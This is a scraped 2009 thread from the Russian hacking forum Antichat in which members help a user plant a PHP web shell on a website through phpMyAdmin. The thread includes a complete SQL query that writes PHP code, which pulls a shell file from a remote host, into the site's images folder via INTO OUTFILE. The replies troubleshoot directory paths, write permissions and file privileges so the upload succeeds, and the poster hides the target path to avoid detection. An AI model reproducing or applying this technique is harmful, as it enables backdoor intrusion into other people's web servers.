ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4751  
Старый 19.01.2009, 07:49
Аватар для Octave_Parango
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

preda1or, a как проверить? на той или нет?
Об этом если честно чего-то не подумал.
 
Ответить с цитированием

  #4752  
Старый 19.01.2009, 11:17
Аватар для R1dex
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

Цитата:
Сообщение от Octave_Parango  
Ребята, такой вопрос.
Заливаю шелл через phpmyadmin
Выскакивает ошибка:


В чем косяк? чмода не хвататет? или путь не правильный?
или еще чего-то?
(Errcode: 2) - папка не существует.
 
Ответить с цитированием

  #4753  
Старый 19.01.2009, 13:39
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Цитата:
'/../../../../shell.php'
Ну правильно, чо это за пусть такой, ты же не "../etc/passwd" подбираешь, тут надо писать реальный абсолютный путь к папке с правами на запись
 
Ответить с цитированием

  #4754  
Старый 19.01.2009, 13:43
Аватар для Octave_Parango
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

to R1dex, странно вроде есть такая (: Попробую еще...
to Pashkela, да я полный пишу, просто скрыл путь, что бы не палиццо (: (поправил верхний пост)

Еще вопрос, полный путь у меня такой:

/var/www/vhosts/название сайта/httpdocs/

то есть в INTO OUTFILE так и пишем

/var/www/vhosts/название сайта/httpdocs/images/shell.php

при условии, что папка images имеет нужные нам права.

?

Последний раз редактировалось Octave_Parango; 19.01.2009 в 13:56..
 
Ответить с цитированием

  #4755  
Старый 19.01.2009, 13:57
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Octave_Parango Запрос покажи полностью. Права есть? Вообще ошибка , как уже сказал R1dex, говорит об несуществующей дирректории. Именно путь, а не права, или что то ещё, но запрос давай посмотрим на всякий случай
 
Ответить с цитированием

  #4756  
Старый 19.01.2009, 14:04
Аватар для Octave_Parango
Octave_Parango
Познающий
Регистрация: 06.11.2008
Сообщений: 93
Провел на форуме:
349682

Репутация: 30
По умолчанию

to jokester,

запрос такой:

CREATE TABLE `she` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `she` ( `shl` ) VALUES ('<?php include("http://название сайте/shell.txt") ?>'); SELECT `shl` FROM `she` INTO OUTFILE `/var/www/vhosts/название сайта/httpdocs/images/shell.php`; DROP TABLE `she`

Где-то накосячил? Да?
 
Ответить с цитированием

  #4757  
Старый 19.01.2009, 14:08
Аватар для groundhog
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
Провел на форуме:
2238549

Репутация: 1318


Отправить сообщение для groundhog с помощью ICQ
По умолчанию

Запрос вроде нормальный... Смотри права...
 
Ответить с цитированием

  #4758  
Старый 19.01.2009, 14:11
Аватар для Pashkela
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


Отправить сообщение для Pashkela с помощью ICQ
По умолчанию

Вряд ли в этой папке "httpdocs" есть права на запись, скорее всего там .htaccess вообще стоит
 
Ответить с цитированием

  #4759  
Старый 19.01.2009, 14:15
Аватар для AkyHa_MaTaTa
AkyHa_MaTaTa
Постоянный
Регистрация: 19.03.2007
Сообщений: 684
Провел на форуме:
3152874

Репутация: 1020


Отправить сообщение для AkyHa_MaTaTa с помощью ICQ
По умолчанию

.htaccess ни имеет никакого отношения.

По возврашаемому коду ошибки ясно что такой диры нет, что бы убедиться в этом попробуй LOAD_FILE какой нибудь файл из этой директории.
Кстати у тебя file_priv есть?

Последний раз редактировалось AkyHa_MaTaTa; 19.01.2009 в 14:27..
 
Ответить с цитированием

  #4760  
Старый 19.01.2009, 14:30
Аватар для Iceangel_
Iceangel_
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206

Репутация: 1861


По умолчанию

2 Octave_Parango
.htaccess подгрузи да и разберись, так ли оно, как Pashkela сказал...

2 AkyHa_MaTaTa
имхо, не факт, могут всякие извращения стоять...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ